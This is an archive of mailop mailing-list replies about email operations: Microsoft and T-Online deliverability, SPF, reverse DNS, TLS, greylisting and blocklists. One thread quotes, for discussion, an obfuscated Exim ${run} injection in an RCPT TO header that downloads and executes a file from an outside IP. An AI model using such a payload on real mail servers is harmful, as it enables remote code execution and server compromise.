providers that cut their costs by not paying
an abuse team or by making a profit from spammer hosting looks not so 
unreasonable after all. I do not condone their
practice, though. On the mail systems that I run, mails from this AS would be 
rejected with a temporary error code until
I see sufficient reason to whitelist the IP, which may take a day or more.

There's a saying in german "Billig muss man sich leisten können" - "You have to be 
able to afford buying cheaply".



I agree with what you said. That said, those who use UCEPROTECT above 
level 1 to unconditionally block mails deserve to lose mails.




smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://list.mailop.org/listinfo/mailop

Re: [mailop] Delivery problem on Microsoft e-mail (code 250 but does not receive)

[Renaud Allard via mailop]

On 10/20/20 12:41 PM, Daniele Rossi via mailop wrote:

Hi,

we try to send to Microsoft Account and we receive this message:

*Queued mail for delivery -> 250 2.1.5*

The problem is that the mail does not arrive either in spam or in the inbox.
This happens for most of our ip's.

Can anyone explain this abnormal behavior to me?



This should never happen and is a proof that the infrastucture doesn't 
respect good email practices. This mostly happens with _free_ MS 
customers, generally not with paid ones. But I guess you get what you 
paid for.




smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://list.mailop.org/listinfo/mailop

Re: [mailop] sendgrid.net

[Renaud Allard via mailop]

On 9/25/20 3:36 PM, Michael via mailop wrote:
What's the consensus on sendgrid.net? I don't know anything about them, 
but I had the impression that they were a reputable company. Lately, 
I've noticed a lot of phishing emails coming from them. Does anyone just 
block them completely?




Actually, I looked at my logs for sendgrid messages over the week, and 
at least 95% of mails from them are spam/phishing or low level content. 
Unfortunately, some legit senders use it, so it's quite hard to outright 
block them.




smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] Any chance that Microsoft would tell it's customer that the 'junk' folder creates complaints?

[Renaud Allard via mailop]

On 9/24/20 11:13 AM, Jaroslaw Rafa via mailop wrote:

Dnia 24.09.2020 o godz. 10:25:00 Thomas Walter via mailop pisze:

BTW - "Spam" also is a bad name for those folders, because the word now
seems to be a catch-all phrase for "E-Mails I do not like".


But definitely better than "Junk". "Junk" doesn't bring - at least for me -
even that association of "E-mails I don't like".



Maybe they should name it, "Unwanted mails you want to be reported"



smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] Any chance that Microsoft would tell it's customer that the 'junk' folder creates complaints?

[Renaud Allard via mailop]

On 9/24/20 10:10 AM, Benoit Panizzon via mailop wrote:


Is there any chance such incidents could be avoided by Microsoft
showing a pop up or similar, that a complaint to the sending ISP is
being generated when moving an email to the 'junk' folder?

Or that Microsoft would CC his own customer in that complaint sent?



Would that even change the customer behaviour? I doubt so.
Maybe if they make it so user has to click 5 times through warnings 
before it ends to the junk folder, while trash is only 1 click away. 
But, if they do that, people would also probably stop reporting junk.




smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] Deutsche Telekom rejects connections because of missing "provider identification"

[Renaud Allard via mailop]

On 8/28/20 9:29 AM, Florian Vierke via mailop wrote:

Hi everybody,

the requirement for having an imprint in advertising mails is not 
limited to T-Online. It’s a legal requirement and also criteria for the 
Certified Senders Alliance (CSA) which is at least relevant in Germany. 
For those not having heard of it – it’s a whitelisting project 
originally from Germany, but going more and more international. In 
Germany pretty much every ISP and ESP are participating and therefore 
sticking to the rules.




If I understand well, this is a whitelist, so mail admins can choose to 
use that whitelist to trust senders, but have no obligation whatsoever 
to _only_ accept senders on that whitelist. And, in the case of 
T-online, they seem to only accept senders on that list, which is a very 
poor idea at best. But, maybe they want to stop their mail business.




smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] Deutsche Telekom rejects connections because of missing "provider identification"

[Renaud Allard via mailop]

On 8/27/20 8:24 AM, Felix Zielcke via mailop wrote:

Am Mittwoch, den 26.08.2020, 21:06 +0200 schrieb ml+mailop--- via
mailop:

But it was enough to have the imprint visible for them just for the


Sorry for a stupid question: What is "the imprint"?
Does that mean you have to operate a web server with an "Impressum"
(I guess that's the German word?) if you want to send mail?



Yes I mean the german word "Impressum"

T-Online (or Deutsche Telekom) require that somewhere on your domain is
your address visible. Even if you don't have a web page at all. And
just use the domain for sending mails.




Does this mean that if you send a mail for "u...@domain.com" from the 
server "mail.example.com" with a correct FCrDNS, it will be denied 
because domains don't match?
If yes, this is the most stupid idea ever, as this cannot work for 
shared mail hosting. Or maybe they have done exceptions for things like 
o365 or gmail servers.




smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] Extreme multiple posting (was Re: OVH Bulk Mailer? Anyone know this one?)

[Renaud Allard via mailop]

On 05/08/2020 20:16, Large Hadron Collider via mailop wrote:

you know, Mr Allard, it appears that you sent this message to the list at least 
5 times...



Actually, I only sent it once. From my logs, it was delivered on the 5th 
once. It might be some processing problem at mailop because I only 
received it today (once) like multiple other mails from mailop.




smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] OVH Bulk Mailer? Anyone know this one?

[Renaud Allard via mailop]

On 8/5/20 2:47 PM, Otto J. Makela via mailop wrote:

On 21/05/2019 12.37, Otto J. Makela via mailop wrote:

Is there any point in receiving any email from any OVH space,
since discussions on this list would seem to indicate they have
no functioning abuse enforcement?

Numerous netblocks registered to them [...]
seem to be permanent spammer havens.


Has the situation improved at all in the last year,
or shall I keep denying access for OVH large blocks?



It is about the same as blocking Hetzner or AWS or any VPS provider. You 
will definitely stop some spam, and lose some ham altogether. There are 
definitely real, legitimate servers in OVH space. But, your servers, 
your rules.




smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] t-online.de refuses to remove an ip from their blacklist

[Renaud Allard via mailop]

On 6/18/20 5:46 PM, Michael Peddemors via mailop wrote:

On 2020-06-18 4:37 a.m., Benoît Panizzon via mailop wrote:

Allow your customers to set an additional PTR.


AFAIK only one PTR per RR is allowed, even if most DNS allow to set
multiple ones.



And when you say 'only one PTR per RR' is "allowed", could you explain 
that further? "allowed" by whom, or what policy.


Multiple PTR's do have a legitimate reason sometimes, albeit nothing 
worse than the operator who has 40-50 PTR records, this is not 
efficient, for DNS queries..


DNS Round Robin is still a common thing, where systems may share a name 
in the PTR's but also have a unique name..


Other reasons for multiple PTR's still do exist, eg transitioning from 
one naming convention to another, so systems should be designed to 
'walk' the PTR records, and 'A' records, when doing 'match' validation.





Just because checking for a valid FCrDNS is quite common nowadays and 
some mail software may fail at that if there are multiple PTR.


That said, having to set the RDNS to something in the domain of the 
customer is the most stupid requirement I have ever seen. And that will 
fail with all outlook based mail domains for example anyway.




smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] RCPT TO trying to execute shell

[Renaud Allard via mailop]

On 3/30/20 3:08 PM, Atro Tossavainen via mailop wrote:

A friend received a mail with an RCPT TO like this:

X-Original-To: 
root+${run{x2Fbinx2Fsht-ctx22wgetx2045.148.10.84x2fssx20-Osxsx3bchmodx20x2bxx20sxsx3b.x2fsxsx22}}@domain.example

Now it's easy enough for me to see what the idea was - to get a piece of 
malware from 45.148.10.84, make it executable, and run it, but which MTA, if 
any, would have been vulnerable to this? Exim?

Somehow AS48090 that is hosting this looks rather not that credible to me.



exim had such a bug.



smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] Messages from small personal SMTP server being marked as junk by Google

[Renaud Allard via mailop]

On 1/24/20 3:31 PM, Gregory Heytings via mailop wrote:

"-all" means "interpret this a sign that the email is certainly spam, do 
not use any other filtering mechanisms to take a decision" (it's a 
"-infinity").


As I and others said, given in particular the case of forwards and 
mailing lists, "-all" is seldom a good idea, and certainly not a good 
idea for a small personal server.




In this day and age, mailing lists have no excuse for not rewriting the 
original envelope sender to one of their own (mailop does it correctly). 
Forwards between uncontrolled servers are also a very bad idea for 
multiple reasons that are way outside the scope of this topic.




smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] Messages from small personal SMTP server being marked as junk by Google

[Renaud Allard via mailop]

On 1/24/20 12:28 PM, Jaroslaw Rafa via mailop wrote:

In my opinion, "-all" is good only when it is the *only* entry in the SPF
record, ie. SPF record indicates that the domain does not send mail *at
all*.
In all other cases, I think that even if original SPF record specifies
"-all", the receiving server should override this and interpret it as "?all".



I tend to disagree. If you allow every IP to send mail on your behalf, 
then why even bother putting an SPF record. For me, only -all makes 
sense, all others are just as meaningful as having no SPF records at all.




smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] Messages from small personal SMTP server being marked as junk by Google

[Renaud Allard via mailop]

On 1/24/20 11:14 AM, Jaroslaw Rafa via mailop wrote:

Dnia 24.01.2020 o godz. 09:37:56 Paul Smith via mailop pisze:

The best thing is for the recipients to mark it as a good message.
That'll feedback to Gmail's systems that the sender is good.


The problem is, users almost never check their spam folder. So this won't
work as expected.

And even if they do, they will probably delete the mail after reading 
it, so it will never hit inbox.




smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] UCEPROTECT - AWS Block

[Renaud Allard via mailop]

On 21/12/2019 01:51, Brad Slavin via mailop wrote:

It seems that AWS has found their way onto the UCEPROTECT Level 3 list.

Affected messages are being rejected with this banner:

550 Your ISP AMAZON-02 - Amazon.com 
, Inc., 
US/AS16509 is UCEPROTECT-Level3 listed for hosting a total of 10163 abusers.




Anyone using UCEPROTECT level 3 (or even level 2) to outright block 
mails doesn't intend to receive mails or has a very incompetent mail 
admin. This list is not intended to be used to block mails directly, but 
only to affect scoring with a very little increase in score. To be 
honest, using lists which list ranges instead of individual IPs to 
outright block spam is a sure way to generate false positives.


That said, I am not surprised AWS got into this list.



smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] Junk filtering as a tool for unfair competition

[Renaud Allard via mailop]

On 10/23/19 10:01 AM, Chris Wedgwood via mailop wrote:

We also have a lot of trouble with mails being sent to the junk folder on 
Microsoft hosted accounts.
We have no problems with gmail or yahoo.


after reading this, i created an outlook.com account (awful UI)

some (not all) trivial messages end up marked as spam as others have
reported



As far as I have seen, it depends. Free outlook.com accounts have a 
really high percentage of false positives in junk folders (or, even 
worse, discarded mails). While paid outlook.com hosted domains have 
about the same rate as others like gmail or yahoo.




smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] Do we need Spam folders?

[Renaud Allard via mailop]

On 10/18/19 10:21 AM, Alessandro Vesely via mailop wrote:

On Thu 17/Oct/2019 04:35:53 +0200 Michael Rathbun via mailop wrote:

On Thu, 17 Oct 2019 13:11:31 +1100, Michelle Sullivan via mailop
 wrote:


Worse when they (the receiver) silently discards them... user checks the
spamfolder and their inbox and the sender thinks it all went through and
the email is never seen despite people looking for it and wanting it.


For at least one provider, unfortunately, that is due to the system's
architecture being such that there are situations in which the system's
behaviour is essentially indeterminate, and "completely losing the message
without hope of tracing what happened" is a predictable outcome in some
percentage of cases.



For blatantly viral attachments, silently dropping the message still seems to
be the most appropriate action.  Is that a best practice?


No, dropping an email without anyone knowing is still probably the worst 
thing that can be done, whatever the case is. Refusing at SMTP time with 
a 5XX message is still the best practice.
Because your antivirus tells you this is "blatantly viral" doesn't mean 
it really is.




smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] DANE validation

[Renaud Allard via mailop]

On 7/12/19 8:37 PM, Heiko Schlittermann via mailop wrote:

Providing TLSA records is only one half of the story. The sender has to
use them. Currently there is no way to force the sender to use my TLSA
records, is there?

(Though, I can force all senders to use TLS when talking to me, but I
can't force them to use my provided TLSA records and to do any
verification. And I do not have a chance to check, if they did, do I?)



That's the only thing you can do, force your senders to use TLS, but 
this will probably lead in mail loss at the moment. mailop doesn't even 
use TLS, and many news letters providers don't either. Also, if you have 
ECDSA certificates, outlook.com hosted sites won't even be able to send 
you mails, just like most people using exchange server.




smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

[mailop] outlook.com not supporting encryption with ECDSA certificates

[Renaud Allard via mailop]

Hello,

Is it just me, or outlook.com servers don't support sending mails to 
servers with ECDSA certificates?

I this kind of error when outlook.com servers attempt to deliver emails:
2019-06-27 09:02:44.980 [74026] TLS error on connection from 
mail-bgr052101135027.outbound.protection.outlook.com 
(EUR03-DB5-obe.outbound.protection.outlook.com) [52.101.135.27]:56511 
I=[w.x.y.z]:25 (SSL_accept): error:140270C1:SSL 
routines:ACCEPT_SR_CLNT_HELLO_C:no shared cipher


I haven't really seen this kind of behaviour with any other big 
provider. Although, I also see it with some (presumably) MS exchange 
servers.


Regards



smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] Anyone from GitHub here?

[Renaud Allard via mailop]

Hi,

Are you sure this doesn't come from geekedin compromise?
https://www.troyhunt.com/8-million-github-profiles-were-leaked-from-geekedins-mongodb-heres-how-to-see-yours/

Regards

On 3/6/19 8:54 AM, Philip Paeps wrote:
I share my mailserver with several GitHub users.  Recently, we've all 
been getting recruitment spam to addresses mined from GitHub.


I wonder if GitHub cares about their platform being used for harvesting.

Email to ab...@github.com appears to be ignored.

Anyone from GitHub on this list?

Philip





smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] What do other ISP / ESP do about the MailChimp spam problem?

[Renaud Allard via mailop]

On 11/6/18 3:02 PM, Charles McKean wrote:

If you had any honest question here, you got it wrong by laying on the
insult and making leading statements. Since you are acting like a
troll, I think we should treat you like a troll and tell you to go
away.

I get so many spams, but I have not gotten a spam from a Mailchimp
customer for as long as I can remember. There are many other email
services providers that are much worse. Mailchimp is not the problem
for most of us, so perhaps the question to ask is, are you the
outlier? And if so, why? Are your filters broken?


I am not sure who is trolling here. I get very few spam that pass my 
filters, however most of the spam that pass the filters are from mailchimp.
That said, mailchimp is generally fast and efficient at stopping the 
spam spree when you complain to them. Though, you will still receive 
others from other customers at mailchimp.


___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] News about the travails with my famous Y! trap account

[Renaud Allard via mailop]

On 20/06/18 09:17, Philip Paeps wrote:

On 2018-06-19 21:20:49 (+0200), Steve Atkins wrote:

On Jun 19, 2018, at 8:10 PM, Brandon Long via mailop 
 wrote:


They used to use qmail which uses - instead of the more common + for 
multiple addresses, wonder if this is a side effect of the forwarding 
for ymail.com using qmail


Likely. Though at one point it wasn't unusual to configure the 
separator to be - instead of + because of all the web forms that 
didn't handle escaping properly and would record 
"steve+...@blighty.com" as "steve f...@blighty.com".


A disturbing number of "ordinary people" (who don't live in SMTP land) 
also believe that + is an "invalid character" in email addresses.




And a disturbing number of programmers which make interfaces to record 
email addresses still think the localpart isn't case sensitive.




smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] GDPR and SMTP in general

[Renaud Allard via mailop]

On 05/25/2018 12:14 PM, Rolf E. Sonneveld wrote:


Yes, dealing with exactly the same kind of problem(s). One of my 
customers asks me to sign for the fact that mail is encrypted when 
handling it. However, using standard MTA software, messages that are in 
the queue waiting to get delivered, are unencrypted. Am I forced to use 
disk encryption?




In the same vein, isn't encryption also required on the transmission 
channel? Should we now require for every mail TLS SMTP?




smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] Disabling TLS1.0 for SMTP

[Renaud Allard via mailop]

On 05/22/2018 04:47 PM, Al Iverson wrote:

Are folks disabling TLS1.0 support in SMTP? Our security team has
asked, but I'm a bit concerned about potential failure cases when
trying to deliver mail to smaller corporate sites that might be doing
stuff like requiring TLS but supporting 1.0 onlyis that really
much of a concern?

Cheers,
Al Iverson



Have you disabled cleartext SMTP and only allow TLS SMTP? If you still 
have cleartext SMTP enabled, there is no point in disabling TLS1.0 
(except flaws that could reveal your keys).


Of course, for submission, disabling TLS1.0 might be interesting, all 
recent devices (2 years old or less) support TLS1.2. And many older ones 
also support it. But it all depends on where your market is.




smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] Gmail & TLS SNI

[Renaud Allard via mailop]

On 16/04/18 03:44, Phil Pennock wrote:

While double-checking logs after an MTA update, I saw something from
Gmail which is ... bemusing.  I'm wondering if there's any consensus on
how this should be handled in a manner which scales, given that Gmail
don't publish DANE records?

2018-04-16 01:14:55 [95041] 1f7sjN-000Oiu-7W
=> @gmail.com
F=

Re: [mailop] Alice.it postmaster contact

[Renaud Allard via mailop]

On 02/19/2018 02:00 PM, Anne-Claire Fichten wrote:
> Hello,
> 
>  
> 
> Alice and Tin belong to same group: Telecom Italia Mobile (TIM).
> 
> Unfortunately they are not replying to emails. You need to reach them by
> phone on 187.
> 
> This number is only available in Italia.
> 
> So you need to have someone in Italia or someone with a phone line fromTIM.
> 
>  
> 
> Any case, if your messages are delayed it seems that volume are too high.
> 
> I advice you to split them on several days if possible and planned
> regular retries in the same times.
> 
>  

Someone suggested in the past to contact them via twitter if you are not
in Italy.



smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] Earthlink trouble with our PTR

[Renaud Allard via mailop]

If you want to be a good neighbour, you should have a restrictive (not
~all) SPF, DMARC, DKIM and a FcRDNS coherent with your HELO. If you have
all that, you should be able to send to anyone (besides hotmail).
Obviously, you should also not be in any major blacklists.

On 12/14/2017 03:27 PM, Ryan Prihoda wrote:
> 
> What about SPF, DMARC, DKIM ? I am sending 250k/day and only Earthlink
> seems to care. How many checks are actually necessary ?
> 
> -Ryan
> 
> On 12/13/2017 03:32 PM, Vladimir Dubrovin via mailop wrote:
>>
>>
>> Not only Earthlink cares, it's a standard procedure.
>> This validation confirms your IP really belongs to the domain.
>> This is standard validation for PTR everyone does, without this
>> validation you can set PTR to arbitrary domain (e.g. example.com). Not
>> everyone rejects messages based on this check, but it's also an
>> option, see e.g.
>> http://www.postfix.org/postconf.5.html#reject_unknown_client_hostname
>>
>>
>> 14.12.2017 0:02, Ryan Prihoda пишет:
>>>
>>> William,
>>>
>>> Yes our PTR is set correctly, but our domain does resolve to a
>>> different IP. Why does only Earthlink care about that ? Seems silly.
>>>
>>> Sincerely,
>>>
>>> *Ryan Prihod**a
>>> *Systems Administrator
>>>
>>>
>>> *dyna**ConnectionsCorp.
>>> *1101 S. Capital of TX Hwy.
>>> Bldg. H, Suite 130
>>> Austin, Texas 78746
>>> rprih...@dynaconnections.com 
>>> www.dynaconnections.com 
>>>
>>>
>>> On 12/13/2017 02:47 PM, W Kern wrote:

 its misleading.

 We saw that a few weeks ago.

 Make sure the FQDN you reverse zone file provides, also resolves
 back to the same IP.

 We were just as confused. The PTR was there, but because of a typo
 it didn't resolve.

 Fixed that and Earthlink was happy.

 Sincerely,

 William Kern

 Pixelgate Networks.


 On 12/13/2017 12:21 PM, Ryan Prihoda wrote:
>
> Hello all,
>
> We are getting errors from one of our servers.
>
> 550 ERROR: No or mismatched reverse DNS (PTR) entries
>
> When, in fact there is only one record for that IP. Can anyone from
> Earthlink look into this for us ?
>
> Sincerely,
>
> *Ryan Prihod**a
> *Systems Administrator
>
>
> *dyna**ConnectionsCorp.
> *1101 S. Capital of TX Hwy.
> Bldg. H, Suite 130
> Austin, Texas 78746
> rprih...@dynaconnections.com 
> www.dynaconnections.com 
>
>
>
> ___
> mailop mailing list
> mailop@mailop.org
> https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop



 ___
 mailop mailing list
 mailop@mailop.org
 https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop
>>>
>>>
>>>
>>> ___
>>> mailop mailing list
>>> mailop@mailop.org
>>> https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop
>>
>>
>> -- 
>> Vladimir Dubrovin
>> @Mail.Ru
>>
>>
>> ___
>> mailop mailing list
>> mailop@mailop.org
>> https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop
> 
> 
> 
> ___
> mailop mailing list
> mailop@mailop.org
> https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop
> 



smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] Earthlink trouble with our PTR

[Renaud Allard via mailop]

You should have a look at this article:
https://en.wikipedia.org/wiki/Forward-confirmed_reverse_DNS

On 12/13/2017 10:02 PM, Ryan Prihoda wrote:
> William,
> 
> Yes our PTR is set correctly, but our domain does resolve to a different
> IP. Why does only Earthlink care about that ? Seems silly.
> 
> Sincerely,
> 
> *Ryan Prihod**a
> *Systems Administrator
> 
> 
> *dyna**ConnectionsCorp.
> *1101 S. Capital of TX Hwy.
> Bldg. H, Suite 130
> Austin, Texas 78746
> rprih...@dynaconnections.com 
> www.dynaconnections.com 
> 
> 
> On 12/13/2017 02:47 PM, W Kern wrote:
>>
>> its misleading.
>>
>> We saw that a few weeks ago.
>>
>> Make sure the FQDN you reverse zone file provides, also resolves back
>> to the same IP.
>>
>> We were just as confused. The PTR was there, but because of a typo it
>> didn't resolve.
>>
>> Fixed that and Earthlink was happy.
>>
>> Sincerely,
>>
>> William Kern
>>
>> Pixelgate Networks.
>>
>>
>> On 12/13/2017 12:21 PM, Ryan Prihoda wrote:
>>>
>>> Hello all,
>>>
>>> We are getting errors from one of our servers.
>>>
>>> 550 ERROR: No or mismatched reverse DNS (PTR) entries
>>>
>>> When, in fact there is only one record for that IP. Can anyone from
>>> Earthlink look into this for us ?
>>>
>>> Sincerely,
>>>
>>> *Ryan Prihod**a
>>> *Systems Administrator
>>>
>>>
>>> *dyna**ConnectionsCorp.
>>> *1101 S. Capital of TX Hwy.
>>> Bldg. H, Suite 130
>>> Austin, Texas 78746
>>> rprih...@dynaconnections.com 
>>> www.dynaconnections.com 
>>>
>>>
>>>
>>> ___
>>> mailop mailing list
>>> mailop@mailop.org
>>> https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop
>>
>>
>>
>> ___
>> mailop mailing list
>> mailop@mailop.org
>> https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop
> 
> 
> 
> ___
> mailop mailing list
> mailop@mailop.org
> https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop
> 



smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] Outlook says "mail accepted for delivery" but it never shows up

[Renaud Allard via mailop]

On 11/20/2017 11:34 AM, Mathieu Marnat wrote:
> Hi,
> 
> 
> Has anyone noticed cases where Outlook says that email is accepted for
> delivery but in fact you can never see it in any folder of your webmail ?
> 
> I contacted Outlook's support but I am also interested in knowing if I
> am the only one in that case. These days, delivering legitimate emails
> to Outlook seems to be a tough job.
> 
> 
> Thank you.
> 
> 


Hi,

I assume you are talking about outlook.com. That's a very very very
common issue. These servers just accept many things and never deliver
them if they decide that, after accepting, the message doesn't look
'good enough'.

Try to set up SPF , DKIM, DMARC, and verify you are not in a know
blacklist or you IP doesn't have a bad reputation. Also, you should
subscribe to SNDS.

Best Regards



smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] Timeouts on "." sending to nic.ru

[Renaud Allard via mailop]

On 14/11/2017 22:59, Brandon Long via mailop wrote:

Ugh, those timeouts are insane, from a different era.

Brandon



Taken straight out of RFC5321 tough, but yes, indeed, that RFC is from 2008.

quote: "Based on extensive experience with busy mail-relay hosts, the 
minimum per-command timeout values SHOULD be as follows"...


Note that those values SHOULD be the minimum ones :)



smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] Timeouts on "." sending to nic.ru

[Renaud Allard via mailop]

On 14/11/2017 16:51, Jeremy Harris wrote:

On 14/11/17 13:16, Vladimir Dubrovin via mailop wrote:


Timeout after "." on smaller messages and in the middle of transmission
on large-size messages usually mean TCP connection issues, most common
reason is PMTUD blackhole router problem.


On any size message they can be due to a too-small timeout on the
client end (five _minutes_ per standards, I think) and content scanning
done on the server end (the content not being available for scan until
it has all arrived).



Actually, it's way more than that:
Initial 220 Message: 5 Minutes
MAIL Command: 5 Minutes
RCPT Command: 5 Minutes
DATA Initiation: 2 Minutes
Data Block: 3 Minutes. This is while awaiting the completion of each TCP 
SEND call transmitting a chunk of data.

DATA Termination: 10 Minutes

So the minimum timeout for 1 message is about 30 minutes. That said, 
many systems don't wait that long, unfortunately.




smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] Sort of old but Apple now accepts TLS1.2 on IMAP...

[Renaud Allard via mailop]

On 01/11/2017 23:49, Eric Tykwinski wrote:
I just saw on Full Disclosure about Apple patching a bunch of services 
for disabling TLS1.0, so I figured I’d give Apple Mail a shot.
I can confirm that Apple Mail Version 11.1 (3445.4.7) does in fact use 
TLS1.2 now, but of course you’re always going to have older clients 
hitting your servers unless you are corporate and can control it.


I can’t remember who was asking, but at least we are getting there to 
disabling TLS1.0.




The only client which had issues with TLS1.2 recently is outlook with 
windows 7. It works,but you need to tweak the registry a little bit. 
Everything else which has followed the free updates works just fine.




smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] outlook.com and greylisting

[Renaud Allard via mailop]

On 26/10/2017 18:48, James Michael Keller via mailop wrote:

On 10/24/2017 05:06 AM, Mark Foster wrote:

Hi All,

I run a personal MTA but I host a few not-for-profits and such.
Recently one of my users reported substantial delays on inbound
emails, so I had a quick look... it turns out email from outlook.com
was being seriously hindered by Greylisting.
The retry rate on a 4xx error seems to be very slow (almost precisely
an hour between retry attempts) and of course, the source IP address
changes with each retry, so the Greylisting timers are always reset to
zero... clearly I don't do enough mail volume to keep the timers up to
a point where I know i'm getting 'clean' email.

The only way I can see to reliably resolve this is to try to whitelist
the sending IP's (is this even practical?)  It'd be nice of messages
from outlook.com were retried from the same source IP... this behavior
seems to make greylisting on relatively low-volume mail servers
something of a hassle, and across many years of running the MTA
configured essentially this way, this is the first time i've had this
sort of behavior reported.

Cheers,
Mark.



You can whitelist based on spf records, that's what I was doing when 
using greylisting.




smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] btinternet.com blacklist

[Renaud Allard via mailop]

On 12/07/17 17:35, Laura Atkins wrote:
I have been known to tell clients, “There’s no place in the filter 
mechanisms where they can flag ‘is a client of Laura’s’, the filters do 
what they do and we can work with them but hiring me doesn’t change what 
the filters are going to do with your mail.”




I actually make filters which basically do that to a certain point. 
Every time one of my customers sends an email through my servers, I 
store the sender, the recipient, the date and a counter. When there is a 
(allegedly) reply coming back, I bypass some filters and decrease the 
counter. That system also works for whitelisting people to a certain 
point, if you were waiting for an email that you didn't receive, you can 
send an email to the "sender" and the reply will most probably go through.

But obviously, this only scales to a certain point.



smime.p7s
Description: S/MIME Cryptographic Signature
___
mailop mailing list
mailop@mailop.org
https://chilli.nosignal.org/cgi-bin/mailman/listinfo/mailop

Re: [mailop] International Fix-Your-SPF day

[Renaud Allard via mailop]

On 16/05/17 22:12, D'Arcy Cain wrote:

On 2017-05-16 03:35 PM, Laura Atkins wrote:

Because in large, international corporations there are processes.

I worked with a bank a few years ago looking at authentication. It took
an inconceivable amount of time just to identify which country IT group
held the authoritative records for rDNS and who needed to approve
changes. Because, no, you don’t want some J. Random Person authorizing
DNS changes.

“A Day” is just not going to happen in the real world. Even just for 
banks.


It doesn't have to happen for banks.  All it takes is for some bank 
president to not be able to email a client to get questions asked.  We 
just need a significant number of addresses blocked due to incompetent 
administration.




